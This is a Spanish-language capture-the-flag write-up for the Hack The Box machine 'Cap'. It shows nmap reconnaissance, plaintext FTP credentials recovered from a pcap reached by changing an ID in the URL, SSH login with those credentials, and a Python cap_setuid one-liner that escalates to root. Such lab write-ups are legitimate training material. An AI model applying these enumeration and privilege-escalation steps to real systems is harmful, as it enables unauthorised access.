Cap - Hack The Box
Iniciamos haciendo un escaneo básico de puertos con nmap
Esta vez no hago uso de
--min-rate
ya que solo con el-T5
iba a buena velocidad
~$> sudo nmap -p- --open -T5 -v -n -Pn 10.10.10.234
-p-
-> Todo el rango de puertos (1-65535)--open
-> Mostrar solo puertos abiertos-T
-> Controlar el temporizado, en este caso uso el máximo (5)-v
-> Triple verbose para ver los avances del escaneo antes de que acabe-n
-> Quitar la resolución DNS-Pn
-> Para no aplicar host discovery
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-16 18:42 -05
Initiating Connect Scan at 18:42
Scanning 10.10.10.245 [65535 ports]
Discovered open port 21/tcp on 10.10.10.245
Discovered open port 80/tcp on 10.10.10.245
Discovered open port 22/tcp on 10.10.10.245
10.10.10.245 timed out during Connect Scan (0 hosts left)
Completed Connect Scan at 18:57, 900.04s elapsed (1 host timed out)
Nmap scan report for 10.10.10.245
Host is up (0.11s latency).
Skipping host 10.10.10.245 due to host timeout
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 900.16 seconds
Encontramos 3 puertos externamente abiertos:
80
-> http22
-> ssh21
-> ftp
Ya que hay un servicio ftp, intenté conectarme como el usuario anonymous sin proporcionar contraseña
~$> ftp 10.10.10.245
Pero el servidor no acepta conecciones de usuarios anonimos
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:invertebrado): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp>
Entonces tenemos que buscar por otro lado
Otro puerto que vemos es el 80, con un servicio http, así que vamos a analizarlo directamente desde el navegador
A demás del usuario (nathan)
no encontramos nada que nos sirva de momento
Si desplegamos el panel lateral, vemos algunas secciones de la web
la primera nos llama la atención ya que nos dice que se hace una captura cada 5 segs, así que entramos en esta
Aquí nos encontramos con algunos registros y un boton (Download) con el que podemos descargar una captura (.pcap)
Si la descargamos y la analizamos, en mi caso con tshark
~$> tshark -r 3.pcap
Veremos que no hay nada que nos sirva
Volviendo a la web, vemos que en la url se nos muestra el mismo número de la captura (en mi caso 3)
Si cambiamos este por cualquier otro, descargamos la captura y la analizamos nuevamente con tshark (igual que en el paso anterior), vamos a ver que se nos lista información diferente, pero que sigue siendo irrelevante
Pero si cambiamos este identificador por un 0
Descargamos la captura
Y la volvemos a analizar
~$> tshark -r 0.pcap | grep -E -i "user|pass"
36 4.126500 192.168.196.1 → 192.168.196.16 FTP 69 Request: USER nathan
40 5.424998 192.168.196.1 → 192.168.196.16 FTP 78 Request: PASS Buck3tH4TF0RM3!
Encontramos credenciales en texto plano!
Con estas credenciales podríamos conectarnos por ftp y optener la flag (user.txt), pero estas tambien nos sirven para conectarnos por ssh (aprovechando que está habilitado el puerto 22), así que mejor nos conectamos de esta manera
~$> ssh nathan@10.10.10.245
nathan@10.10.10.245's password:
[ ... ... ]
nathan@cap:~$
Una vez aquí podemos leer la flag
nathan@cap:~$ cat user.txt
Y continuamos
En este punto sigue convertirnos en root
Despues de listar permisos SUID y buscar un poco por el sistema, recorde que la máquina se llama Cap y se me ocurrió buscar por capabities
nathan@cap:~$ cd /
nathan@cap:~$ getcap -r / 2>/dev/null
2>/dev/null
-> Redireccionamiento del stderr al/dev/null
(De esta manera no se me mostrarán errores)
Obteniendo lo esto:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Vemos algunos binarios comunes, pero lo primero que se nos lista es /usr/bin/python3.8
, una vez visto esto ya sabemos que tendremos root fácilmente tal que así:
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/# whoami
root
El uid 0 cooresponde al del usuario root, por eso si seteamos nuestro uid con este valor, nos convertimos en root Ya somos root!
Ahora podemos dirigirnos al directorio /root
y leer la flag
root@cap:/# cd /root && cat root.txt